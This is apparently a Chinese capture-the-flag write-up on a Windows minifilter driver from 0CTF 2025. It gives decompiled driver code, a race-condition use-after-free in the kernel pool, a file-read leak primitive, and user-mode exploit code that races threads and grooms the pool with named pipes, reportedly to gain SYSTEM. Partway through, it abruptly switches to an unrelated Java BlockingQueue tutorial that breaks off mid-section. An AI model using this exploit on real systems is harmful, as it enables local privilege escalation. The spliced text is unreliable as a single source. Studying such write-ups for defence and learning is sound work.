  PFLT_GENERATE_FILE_NAME                     GenerateFileNameCallback;
  PFLT_NORMALIZE_NAME_COMPONENT               NormalizeNameComponentCallback;
  PFLT_NORMALIZE_CONTEXT_CLEANUP              NormalizeContextCleanupCallback;
  PFLT_TRANSACTION_NOTIFICATION_CALLBACK      TransactionNotificationCallback;
  PFLT_NORMALIZE_NAME_COMPONENT_EX            NormalizeNameComponentExCallback;
  PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
} FLT_REGISTRATION, *PFLT_REGISTRATION;

其中我们需要关注的是OprationRegistration这个成员。这里会记录当前MiniFilter针对哪些IRP进行观测。例如这个来自微软官方的例子:

FLT_OPERATION_REGISTRATION Callbacks[] = {

    { IRP_MJ_CREATE,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreCreate,
        NULL },

    { IRP_MJ_NETWORK_QUERY_OPEN,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreNetworkQueryOpen,
        NULL },

    { IRP_MJ_OPERATION_END }
};

FLT_REGISTRATION FilterRegistration = {

    sizeof( FLT_REGISTRATION ),                     //  Size
    FLT_REGISTRATION_VERSION,                       //  Version
    0,                                              //  Flags
    NULL,                                           //  Context
    Callbacks,                                      //  Operation callbacks
    SimRepUnload,                                   //  Filters unload routine
    SimRepInstanceSetup,                            //  InstanceSetup routine
    SimRepInstanceQueryTeardown,                    //  InstanceQueryTeardown routine
    NULL,                                           //  InstanceTeardownStart routine
    NULL,                                           //  InstanceTeardownComplete routine
    NULL,                                           //  Filename generation support callback
    NULL,                                           //  Filename normalization support callback
    NULL,                                           //  Normalize name component cleanup callback
#if SIMREP_VISTA
    NULL,                                           //  Transaction notification callback
    NULL                                            //  Filename normalization support callback

#endif // SIMREP_VISTA
};

这里的Callbacks总共注册了两个操作

  • IRP_MJ_CREATE: 这里就是打开文件会触发的回调
  • IRP_MJ_NETWORK_QUERY_OPEN: 通过FastIO触发的一种特殊回调

通过给数组最后一个参数留空来表示当前回调数组的长度。

通过上述结构体,就能描述出当前Minifilter具体对哪些操作进行了回调注册

样例代码

PFLT_FILTER gFilterHandle = NULL;
PFLT_PORT gServerPort = NULL;    // 服务端监听端口
PFLT_PORT gClientPort = NULL;    // 已连接的客户端端口

// 当用户态调用 FilterConnectCommunicationPort 时触发
NTSTATUS MyConnectNotify(PFLT_PORT ClientPort, PVOID ServerPortCookie, PVOID ConnectionContext, ULONG SizeOfContext, PVOID *ConnectionPortCookie) {
    gClientPort = ClientPort;
    DbgPrint("Client connected!\n");
    return STATUS_SUCCESS;
}

// 当用户态调用 CloseHandle 时触发
void MyDisconnectNotify(PVOID ConnectionCookie) {
    FltCloseClientPort(gFilterHandle, &gClientPort);
    DbgPrint("Client disconnected!\n");
}

// 当用户态调用 FilterSendMessage 发送数据时触发
NTSTATUS MyMessageNotify(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) {
    DbgPrint("Received message from user-mode!\n");
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    // 1. 注册 Minifilter
    FLT_REGISTRATION reg = { sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION, 0 };
    // 此处通常需要设置 Context 和 Operation 回调,为简洁起见省略
    FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

    // 2. 创建通信端口
    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    // 建立端口,绑定通知函数
    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,       // 输出服务端句柄
        &oa,
        NULL,               // Cookie
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

    FltFreeSecurityDescriptor(sd);
    return FltStartFiltering(gFilterHandle);
}

之后我们分析这个MiniFilter。有了MiniFilter的基础知识,我们这里主要关注两个位置,一个是注册函数到底注册了什么回调,一个是MessageCallback中可能有什么。首先看到主要注册逻辑:

NTSTATUS __fastcall sub_140007000(PDRIVER_OBJECT Driver)
{
  NTSTATUS result; // eax
  NTSTATUS started; // ebx
  struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+50h] [rbp-30h] BYREF
  void *v6; // [rsp+A0h] [rbp+20h] BYREF

  if ( (dword_140004108 & 1) != 0 )
    DbgPrint("PassThrough!DriverEntry: Entered\n");
  result = FltRegisterFilter(Driver, &Registration, &Filter);
  _mm_lfence();
  if ( result >= 0 )
  {
    *(&ObjectAttributes.Length + 1) = 0;
    *(&ObjectAttributes.Attributes + 1) = 0;
    DestinationString = 0;
    v6 = 0;
    sub_14000132C(&v6);
    RtlInitUnicodeString(&DestinationString, L"\\BabyFilterPort");
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.SecurityDescriptor = v6;
    ObjectAttributes.Length = 48;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 576;
    ObjectAttributes.SecurityQualityOfService = 0;
    FltCreateCommunicationPort(
      Filter,
      &ServerPort,
      &ObjectAttributes,
      0,
      (PFLT_CONNECT_NOTIFY)ConnectNotifyCallback,
      (PFLT_DISCONNECT_NOTIFY)DisconnectNotifyCallback,
      (PFLT_MESSAGE_NOTIFY)MessageNotifyCallback,
      64);
    started = FltStartFiltering(Filter);
    if ( started < 0 )
      FltUnregisterFilter(Filter);
    return started;
  }
  return result;
}

根据上述代码,可以知道程序注册了一个\\BabyFilterPort端口。并且我们使用FltSendMessage与之通信的时候,能够触发MessageNotifyCallback的逻辑。并且程序注册了一些过滤回调在Registration

MessageNotifyCallback

这个函数为主要的漏洞函数,其代码如下:

__int64 __fastcall MessageNotifyCallback(
        PVOID PortCookie,
        char *InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer)
{

  buffer_len = InputBufferLength;
  if ( !InputBuffer || InputBufferLength < 8 )
    return 3221225473LL;
  sub_140002100((char *)&input_header_flag_1, 0, 0x1008u);
  if ( buffer_len > 0x1008 )
    buffer_len = 0x1008;
  a__memcpy((char *)&input_header_flag_1, InputBuffer, buffer_len);
  size = input_header_size;
  v7 = buffer_len - 8;
  if ( input_header_size > v7 )
    size = v7;
  if ( input_header_flag_1 )
  {
    if ( input_header_flag_1 == 1 )
    {
      Buffer = gCTX.Buffer;
      size_1 = gCTX.Size;
      Flag = gCTX.Flag;
      if ( gCTX.Buffer )
      {
        if ( size > gCTX.Size )
          size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);
        gCTX.Size = size_1;
        gCTX.Flag = Flag;
        gCTX.Buffer = Buffer;
      }
    }
    else if ( input_header_flag_1 == 2 )
    {
      if ( gCTX.Buffer )
      {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0;
      }
    }
  }
  else if ( size )
  {
    _mm_lfence();
    Pool2 = (void *)ExAllocatePool2(67, size, 'ybaB');
    gCTX.Buffer = Pool2;
    gCTX.Size = size;
    if ( Pool2 )
      a__memcpy((char *)Pool2, newBuffer, size);
  }
  return 0;
}

可以看到,程序使用一个叫做gCTX的对象在内核中管理一个申请出来的内存,这个结构体大致如下:

struct GLOBAL_CTX
{
  UINT32 Size;
  UINT32 Flag;
  PVOID Buffer;
};

而我们传入的数据也会作为一个结构体处理,其结构为:

#define NEW_BLOCK 0
#define EDIT_BLOCK 1
#define FREE_BLOCK 2

typedef struct _gMSG {
    unsigned int opcode;   // v13
    unsigned int size;     // v14
    char     data[0x1000];
} gMSG;

根据分析,我们可以知道,opcode的值会决定我们当前处于申请,修改还是释放三种不同的状态。

于是这里我们可以写出这样的用户态代码,作为访问的接口

int CallFilterComm(unsigned int opcode, unsigned int size, unsigned char* buffer) {

    HRESULT hr;
    // printf("[+] Connected to BabyFilterPort\n");

    gMSG inbuf;

    inbuf.opcode = opcode;
    inbuf.size = size;
    memcpy(inbuf.data, buffer, size);

    BYTE outbuf[0x1000] = { 0 };
    DWORD bytesReturned = 0;

    // 3. MessageNotifyCallback
    hr = FilterSendMessage(
        g_hPort,
        &inbuf,
        sizeof(inbuf),
        outbuf,
        sizeof(outbuf),
        &bytesReturned
    );

    if (FAILED(hr)) {
        printf("[!] FilterSendMessage failed: 0x%08X\n", hr);
    }
    else {
        // printf("[+] FilterSendMessage success, bytesReturned = %lu\n", bytesReturned);
    }

    return 0;
}

漏洞点

很显然,这个全局对象就是一个突破点。当函数FltCreateCommunicationPort注册一个Minifilter的时候,它最后一个参数的含义为最大并发数 MaxConnections。意思也就是说,对于这个驱动而言,一次性最多能有几个客户端连入。在这个题目中,FltCreateCommunicationPort的MaxConnections=64,这就意味着,一次性最多可以有64个线程同时修改这个对象。于是我们这个程序就存在了条件竞争的可能。

我们关注这一部分代码:

if ( opcode == 1 ) // EDIT BLOCK
{
    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
    a__memcpy((char *)gCTX.Buffer, newBuffer, size);
    gCTX.Size = size_1;
    gCTX.Flag = Flag;
    gCTX.Buffer = Buffer;
    }
}
else if ( opcode == 2 ) // FREE BLOCK
{
    if ( gCTX.Buffer )
    {
    ExFreePoolWithTag(gCTX.Buffer, 0);
    gCTX.Buffer = 0;
    gCTX.Size = 0;
    }
}

假设这里有两个线程,1和2。当我们线程1进入EDIT BLOCK的逻辑,并且来到了这部分

    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);// 线程1在这里
        gCTX.Size = size_1;
        gCTX.Flag = Flag; 
        gCTX.Buffer = Buffer;
    }

此时线程2进入Free的逻辑,尝试进行Buffer的释放

    if ( gCTX.Buffer )
    {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0; 
    }// 线程2在这里

那么,当线程1重新开始运行的时候,它就会将一个【本来被线程2 释放后的内存,重新复制给gCTX.Buffer】,这就形成了一个完美的UAF。在这之后,EDIT操作就能够直接操作一个被释放的池空间。

过滤器处理逻辑

通过分析IDA中对应注册函数的逻辑:

.rdata:0000000140003220 ; const FLT_REGISTRATION Registration
.rdata:0000000140003220 Registration    dw 70h                  ; Size
.rdata:0000000140003220                                         ; DATA XREF: DriverEntry_enter+33↓o
.rdata:0000000140003222                 dw 203h                 ; Version
.rdata:0000000140003224                 dd 0                    ; Flags
.rdata:0000000140003228                 dq 0                    ; ContextRegistration
.rdata:0000000140003230                 dq offset stru_1400031C0; OperationRegistration    // 注意这里 
.rdata:0000000140003238                 dq offset sub_140006070 ; FilterUnloadCallback
.rdata:0000000140003240                 dq offset sub_140006000 ; InstanceSetupCallback
.rdata:0000000140003248                 dq offset sub_1400060A0 ; InstanceQueryTeardownCallback
.rdata:0000000140003250                 dq offset sub_140006030 ; InstanceTeardownStartCallback
.rdata:0000000140003258                 dq offset sub_140006050 ; InstanceTeardownCompleteCallback
.rdata:0000000140003260                 dq 0                    ; GenerateFileNameCallback
.rdata:0000000140003268                 dq 0                    ; NormalizeNameComponentCallback
.rdata:0000000140003270                 dq 0                    ; NormalizeContextCleanupCallback
.rdata:0000000140003278                 dq 0                    ; TransactionNotificationCallback
.rdata:0000000140003280                 dq 0                    ; NormalizeNameComponentExCallback
.rdata:0000000140003288                 align 10h

.rdata:00000001400031C0 stru_1400031C0  db 3                    ; MajorFunction(IRP_MJ_READ)
.rdata:00000001400031C0                                         ; DATA XREF: .rdata:Registration↓o
.rdata:00000001400031C1                 db 3 dup(0)
.rdata:00000001400031C4                 dd 0                    ; Flags
.rdata:00000001400031C8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031D0                 dq offset ReadPostCallback  ; PostOperation
.rdata:00000001400031D8                 dq 0                    ; Reserved1
.rdata:00000001400031E0                 db 4                    ; MajorFunction(IRP_MJ_WRITE)
.rdata:00000001400031E1                 db 3 dup(0)
.rdata:00000001400031E4                 dd 0                    ; Flags
.rdata:00000001400031E8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031F0                 dq offset ConnectNotifyCallback; PostOperation
.rdata:00000001400031F8                 dq 0                    ; Reserved1
.rdata:0000000140003200                 db 80h                  ; MajorFunction
.rdata:0000000140003201                 db 3 dup(0)
.rdata:0000000140003204                 dd 0                    ; Flags
.rdata:0000000140003208                 dq 0                    ; PreOperation
.rdata:0000000140003210                 dq 0                    ; PostOperation
.rdata:0000000140003218                 dq 0                    ; Reserved1            

可以看到,程序对IRP_MJ_READ|IRP_MJ_WRITE进行了注册,进一步分析之后,会发现其实只有读回调是有必要分析的。其中代码为:

__int64 __fastcall ReadPostCallback(PFLT_CALLBACK_DATA CallbackData)
{
  NTSTATUS Status; // eax
  char *v3; // rax
  PFLT_IO_PARAMETER_BLOCK Iopb; // r9
  struct _MDL *MdlAddress; // rcx
  char *Parameters; // r9
  char *buffer; // rdx
  signed int Size; // eax
  PFLT_FILE_NAME_INFORMATION FileNameInformation; // [rsp+20h] [rbp-148h] BYREF
  GLOBAL_CTX m_ctx; // [rsp+28h] [rbp-140h]
  char String[272]; // [rsp+40h] [rbp-128h] BYREF

  sub_140002100(String, 0, 0x104u);
  Status = CallbackData->IoStatus.Status;
  if ( Status >= 0 && Status != 260 && FltGetFileNameInformation(CallbackData, 0x101u, &FileNameInformation) >= 0 )
  {
    if ( FltParseFileNameInformation(FileNameInformation) >= 0 )
    {
      sub_1400015CC(&FileNameInformation->Name, String);
      v3 = strlwr(String);
      if ( strstr(v3, "_0ctf_2025.txt") )
      {
        _mm_lfence();
        Iopb = CallbackData->Iopb;
        MdlAddress = Iopb->Parameters.Read.MdlAddress;
        if ( MdlAddress )
          Parameters = (char *)((MdlAddress->MdlFlags & 5) != 0
                              ? MdlAddress->MappedSystemVa
                              : MmMapLockedPages(MdlAddress, 0));
        else
          Parameters = (char *)Iopb->Parameters.CreatePipe.Parameters;
        m_ctx = gCTX;
        buffer = (char *)_mm_srli_si128((__m128i)gCTX, 8).m128i_u64[0];
        if ( buffer )
        {
          _mm_lfence();
          Size = m_ctx.Size;
          if ( m_ctx.Size > CallbackData->Iopb->Parameters.Read.Length )
            Size = CallbackData->Iopb->Parameters.Read.Length;
          a__memcpy(Parameters, buffer, Size);
          CallbackData->IoStatus.Information = CallbackData->Iopb->Parameters.Read.Length;
        }
      }
    }
    FltReleaseFileNameInformation(FileNameInformation);
  }
  return 0;
}

根据逻辑我们可以知道,当我们的Read操作中,传入的文件名参数带有关键字符_0ctf_2025.txt的时候,程序会从全局对象gCTX+0x8的位置开始,取出指针,并且将那个指针中总共Size大小的数据传入到我们IRP中,相当于是作为了Read操作的返回数据。

用户态交互代码

根据这一步,我们可以在用户态写出这样的代码来进行内核数据的读取:

HANDLE CreateTempFile()
{
    char tempPath[MAX_PATH] = { 0 };
    char filePath[MAX_PATH] = { 0 };

    if (GetTempPathA(MAX_PATH, tempPath) == 0)
    {
        printf("get temp file path error !");
        return INVALID_HANDLE_VALUE;
    }

    snprintf(filePath, MAX_PATH, "%s%s", tempPath, strTargetPath);

    // printf("temp file path is %s\n", filePath);
    HANDLE hFile = CreateFileA(
        filePath,
        // GENERIC_ALL,
        GENERIC_READ | GENERIC_WRITE,
        // 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );

    return hFile;
}

int ReadDataFromGMSG(unsigned char* buf, size_t read_size) {
    HANDLE h;
    // char buf[0x1000] = { 0 };
    DWORD read;

    h = CreateTempFile();

    if (h == INVALID_HANDLE_VALUE) {
        printf("open failed\n");
        return 0;
    }

    const char marker = 'X';
    DWORD written;
    WriteFile(h, &marker, 1, &written, nullptr);

    SetFilePointer(h, 0, nullptr, FILE_BEGIN);

    BOOL rState = ReadFile(h, buf, read_size, &read, NULL);

    if (!rState)
    {
        printf("Read file error with %d\n", GetLastError());
        return -1;
    }

    CloseHandle(h);
    return 0;
}

注意,由于这里注册的是PostRead,所以我们首先需要保证Read的成功。这就意味着我们首先需要真的创建一个包含目标名字的文件。所以在代码中,我们首先在Temp目录下创建了同名文件,然后才会尝试读取。

触发PoC

结合我们之前提到的利用技巧,这里我们准备使用PIPE的攻击方法来完成攻击。所以我们期望发生的内存布局是这样的:

+----------+---------+---------+
|          |         |         |
|          |   UAF   |         |
|  PIPE    |  BLOCK  |  PIPE   |
|          |         |         |
|          |         |         |
|          |         |         |
+----------+---------+---------+

这样我们就能够获得一个可以被我们任意修改的PIEP,从而实现攻击原语。

这里我们建立两个线程,主线程用于反复的调用NEW/FREE操作,另一个线程进行条件竞争,不停的进行EDIT。此时在调用完之后,我们利用之前过滤器的泄露原语来确认我们当前的这个目标池内容是否真的被修改成了EDIT后的内容,以此来证明我们条件竞争的成功。具体来说:

首先,当我们线程1NEW一个BLOCK的时候,我们在BLOCK中填入大量的A

+------------+
| AAAAAAA    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

我们在EDIT线程2中,将其修改成C

+------------+
| CCCCCCC    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

如果我们在线程1的FREE操作后,读出来的BLOCK是成功被修改后的BLOCK(也就是内容为C),那么此时就能够证明我们利用的成功

int static FengshuiPipe()
{
    PIPE_HANDLES spare_pipe, subsegments_pipe, bcrypt_pipe;
    DWORD res;
    IO_STATUS_BLOCK isb;

    puts("Start fengshui");
    // char d = getchar();
    // 1. create lots of pips
    for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
        CreateMyPipe(&victim_pipes[i], 0x1000);
    }

    // 2. try to Free some pipe to create hole
    for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2)
    {
        CloseMyPipe(&victim_pipes[i]);
    }

    // 3. create empty block, the trigger uaf
    //CallFilterComm(NEW_BLOCK, 0x1000, 0x61);

    // 4. race condition to get 
    // prepare event
    g_EventStart = CreateEvent(NULL, FALSE, FALSE, NULL);
    g_EventEdit = CreateEvent(NULL, FALSE, FALSE, NULL);

    SetThreadAffinityMask(GetCurrentThread(), 1 << 0);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
    CreateThread(NULL, 0, edit_thread, &g_hPort, 0, NULL);
    // while (InterlockedCompareExchange(&g_race_done, 0, 0) == 0)
    while (TRUE)
    {
        // printf("create new block\n");
        // (1) create mesg
        //puts("start");
        //char c = getchar();
        unsigned char buf1[0x1000] = { 0x61 };
        memset(buf1, 0x61, sizeof(buf1));
        CallFilterComm(NEW_BLOCK, 0x1000, buf1);
        g_CanEdit = TRUE;

        // (2) race condition will try to free it
        // so here we try to replace it with new one 

        // SetEvent(g_EventStart);
        /// printf("free block\n");
        unsigned char buf2[0x1000] = { 0x62 };
        memset(buf2, 0x62, sizeof(buf2));

        CallFilterComm(FREE_BLOCK, 0x1000, buf2);

        // break;

        for (volatile int i = 0; i < 500; i++) { _mm_pause(); }

        g_CanEdit = FALSE;

        // (3) if race condition happen, we try to 
        // load data from gmsg, check if has been edited
        unsigned char buffer[0x1000] = { 0 };
        ReadDataFromGMSG(buffer, sizeof(buffer));
        // printf("%s\n", buffer);
        // break;
        if (buffer[0] == 0x63)
        {
            g_RaceDone = TRUE;
            // replace success ,stop race
            // if (InterlockedCompareExchange(&g_race_done, 1, NULL) == 0)
            // {
                printf("[+] race condition success!\n");
                ReleaseSemaphore(g_done_sam, 1, NULL);
            // }
            break;
        }
    }

利用部分

具体的利用脚本放在这里 总体思路就和之前提到的一样,利用PIPE的各类原语构造整个利用思路,并且合理进行风水后完成利用。

后记

其实比赛期间完全没有做出来这个题目,不知道这个利用手法在真正的题目中能不能做出来。上述代码经测试,在Windows 11 25H2上是能够获取System全新先的。所以可能有所问题,欢迎斧正。

在比赛结束后才发现,Windows提权还有其他的利用技巧,比如_WNF_STATE_DATA 相关这种办法。可能这些利用手法会更加简单,以后有空会进行相关整理。

参考文章

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master

BlockingQueue和BlockingDeque

BlockingQueue

BlockingQueue 通常用于一个线程生产对象,而另外一个线程消费这些对象的场景。下图是对这个原理的阐述:

一个线程往里边放,另外一个线程从里边取的一个 BlockingQueue。

一个线程将会持续生产新对象并将其插入到队列之中,直到队列达到它所能容纳的临界点。也就是说,它是有限的。如果该阻塞队列到达了其临界点,负责生产的线程将会在往里边插入新对象时发生阻塞。它会一直处于阻塞之中,直到负责消费的线程从队列中拿走一个对象。 负责消费的线程将会一直从该阻塞队列中拿出对象。如果消费线程尝试去从一个空的队列中提取对象的话,这个消费线程将会处于阻塞之中,直到一个生产线程把一个对象丢进队列。

BlockingQueue 的方法

BlockingQueue 具有 4 组不同的方法用于插入、移除以及对队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

抛异常特定值阻塞超时
插入add(o)offer(o)put(o)offer(o, timeout, timeunit)
移除remove()poll()take()poll(timeout, timeunit)
检查element()peek()

四组不同的行为方式解释:

  • 抛异常:如果试图的操作无法立即执行,抛一个异常。
  • 特定值:如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
  • 阻塞:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
  • 超时:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

无法向一个 BlockingQueue 中插入 null。如果你试图插入 null,BlockingQueue 将会抛出一个 NullPointerException。 可以访问到 BlockingQueue 中的所有元素,而不仅仅是开始和结束的元素。比如说,你将一个对象放入队列之中以等待处理,但你的应用想要将其取消掉。那么你可以调用诸如 remove(o) 方法来将队列之中的特定对象进行移除。但是这么干效率并不高,因此你尽量不要用这一类的方法,除非你确实不得不那么做。

BlockingDeque

java.util.concurrent 包里的 BlockingDeque 接口表示一个线程安放入和提取实例的双端队列。

BlockingDeque 类是一个双端队列,在不能够插入元素时,它将阻塞住试图插入元素的线程;在不能够抽取元素时,它将阻塞住试图抽取的线程。 deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

在线程既是一个队列的生产者又是这个队列的消费者的时候可以使用到 BlockingDeque。如果生产者线程需要在队列的两端都可以插入数据,消费者线程需要在队列的两端都可以移除数据,这个时候也可以使用 BlockingDeque。BlockingDeque 图解:

BlockingDeque 的方法

一个 BlockingDeque - 线程在双端队列的两端都可以插入和提取元素。 一个线程生产元素,并把它们插入到队列的任意一端。如果双端队列已满,插入线程将被阻塞,直到一个移除线程从该队列中移出了一个元素。如果双端队列为空,移除线程将被阻塞,直到一个插入线程向该队列插入了一个新元素。

BlockingDeque 具有 4 组不同的方法用于插入、移除以及对双端队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

抛异常特定值阻塞超时
插入addFirst(o)offerFirst(o)putFirst(o)offerFirst(o, timeout, timeunit)
移除removeFirst(o)pollFirst(o)takeFirst(o)pollFirst(timeout, timeunit)
检查getFirst(o)peekFirst(o)
抛异常特定值阻塞超时
插入addLast(o)offerLast(o)putLast(o)offerLast(o, timeout, timeunit)
移除removeLast(o)pollLast(o)takeLast(o)pollLast(timeout, timeunit)
检查getLast(o)peekLast(o)

四组不同的行为方式解释:

  • 抛异常: 如果试图的操作无法立即执行,抛一个异常。
  • 特定值: 如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
  • 阻塞: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
  • 超时: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

BlockingDeque 与BlockingQueue关系

BlockingDeque 接口继承自 BlockingQueue 接口。这就意味着你可以像使用一个 BlockingQueue 那样使用 BlockingDeque。如果你这么干的话,各种插入方法将会把新元素添加到双端队列的尾端,而移除方法将会把双端队列的首端的元素移除。正如 BlockingQueue 接口的插入和移除方法一样。

以下是 BlockingDeque 对 BlockingQueue 接口的方法的具体内部实现:

BlockingQueueBlockingDeque
add()addLast()
offer() x 2offerLast() x 2
put()putLast()
remove()removeFirst()
poll() x 2pollFirst()
take()takeFirst()
element()getFirst()
peek()peekFirst()

BlockingQueue 的例子

这里是一个 Java 中使用 BlockingQueue 的示例。本示例使用的是 BlockingQueue 接口的 ArrayBlockingQueue 实现。 首先,BlockingQueueExample 类分别在两个独立的线程中启动了一个 Producer 和 一个 Consumer。Producer 向一个共享的 BlockingQueue 中注入字符串,而 Consumer 则会从中把它们拿出来。

public class BlockingQueueExample {
    public static void main(String[] args) throws Exception {
        BlockingQueue queue = new ArrayBlockingQueue(1024);
        
        Producer producer = new Producer(queue);
        Consumer consumer = new Consumer(queue);
 
        new Thread(producer).start();
        new Thread(consumer).start();
 
        Thread.sleep(4000);
    }
}

以下是 Producer 类。注意它在每次 put() 调用时是如何休眠一秒钟的。这将导致 Consumer 在等待队列中对象的时候发生阻塞。

public class Producer implements Runnable{
    protected BlockingQueue queue = null;
    public Producer(BlockingQueue queue) {
        this.queue = queue;
    }
    public void run() {
        try {
            queue.put("1");
            Thread.sleep(1000);
            queue.put("2");
            Thread.sleep(1000);
            queue.put("3");
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

以下是 Consumer 类。它只是把对象从队列中抽取出来,然后将它们打印到 System.out。

public class Consumer implements Runnable{
    protected BlockingQueue queue = null;
    public Consumer(BlockingQueue queue) {
        this.queue = queue;
    }
    public void run() {
        try {
            System.out.println(queue.take());
            System.out.println(queue.take());
            System.out.println(queue.take());
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

数组阻塞队列 ArrayBlockingQueue

ArrayBlockingQueue 类实现了 BlockingQueue 接口。

ArrayBlockingQueue 是一个有界的阻塞队列,其内部实现是将对象放到一个数组里。有界也就意味着,它不能够存储无限多数量的元素。它有一个同一时间能够存储元素数量的上限。你可以在对其初始化的时候设定这个上限,但之后就无法对这个上限进行修改了(译者注: 因为它是基于数组实现的,也就具有数组的特性: 一旦初始化,大小就无法修改)。 ArrayBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是在使用 ArrayBlockingQueue 的时候对其初始化的一个示例:

BlockingQueue queue = new ArrayBlockingQueue(1024);
queue.put("1");
Object object = queue.take();

以下是使用了 Java 泛型的一个 BlockingQueue 示例。注意其中是如何对 String 元素放入和提取的:

BlockingQueue<String> queue = new ArrayBlockingQueue<String>(1024);
queue.put("1");
String string = queue.take();

延迟队列 DelayQueue

DelayQueue 实现了 BlockingQueue 接口。

DelayQueue 对元素进行持有直到一个特定的延迟到期。注入其中的元素必须实现 java.util.concurrent.Delayed 接口,该接口定义:

public interface Delayed extends Comparable<Delayed< {
    public long getDelay(TimeUnit timeUnit);
}

DelayQueue 将会在每个元素的 getDelay() 方法返回的值的时间段之后才释放掉该元素。如果返回的是 0 或者负值,延迟将被认为过期,该元素将会在 DelayQueue 的下一次 take 被调用的时候被释放掉。

传递给 getDelay 方法的 getDelay 实例是一个枚举类型,它表明了将要延迟的时间段。TimeUnit 枚举将会取以下值:

  • DAYS
  • HOURS
  • INUTES
  • SECONDS
  • MILLISECONDS
  • MICROSECONDS
  • NANOSECONDS

正如你所看到的,Delayed 接口也继承了 java.lang.Comparable 接口,这也就意味着 Delayed 对象之间可以进行对比。这个可能在对 DelayQueue 队列中的元素进行排序时有用,因此它们可以根据过期时间进行有序释放。 以下是使用 DelayQueue 的例子:

public class DelayQueueExample {
    public static void main(String[] args) {
        DelayQueue queue = new DelayQueue();
        Delayed element1 = new DelayedElement();
        queue.put(element1);
        Delayed element2 = queue.take();
    }
}

DelayedElement 是我所创建的一个 DelayedElement 接口的实现类,它不在 java.util.concurrent 包里。你需要自行创建你自己的 Delayed 接口的实现以使用 DelayQueue 类。

链阻塞队列 LinkedBlockingQueue

LinkedBlockingQueue 类实现了 BlockingQueue 接口。

LinkedBlockingQueue 内部以一个链式结构(链接节点)对其元素进行存储。如果需要的话,这一链式结构可以选择一个上限。如果没有定义上限,将使用 Integer.MAX_VALUE 作为上限。

LinkedBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是 LinkedBlockingQueue 的初始化和使用示例代码:

BlockingQueue<String> unbounded = new LinkedBlockingQueue<String>();
BlockingQueue<String> bounded   = new LinkedBlockingQueue<String>(1024);
bounded.put("Value");
String value = bounded.take();

具有优先级的阻塞队列 PriorityBlockingQueue

PriorityBlockingQueue 类实现了 BlockingQueue 接口。

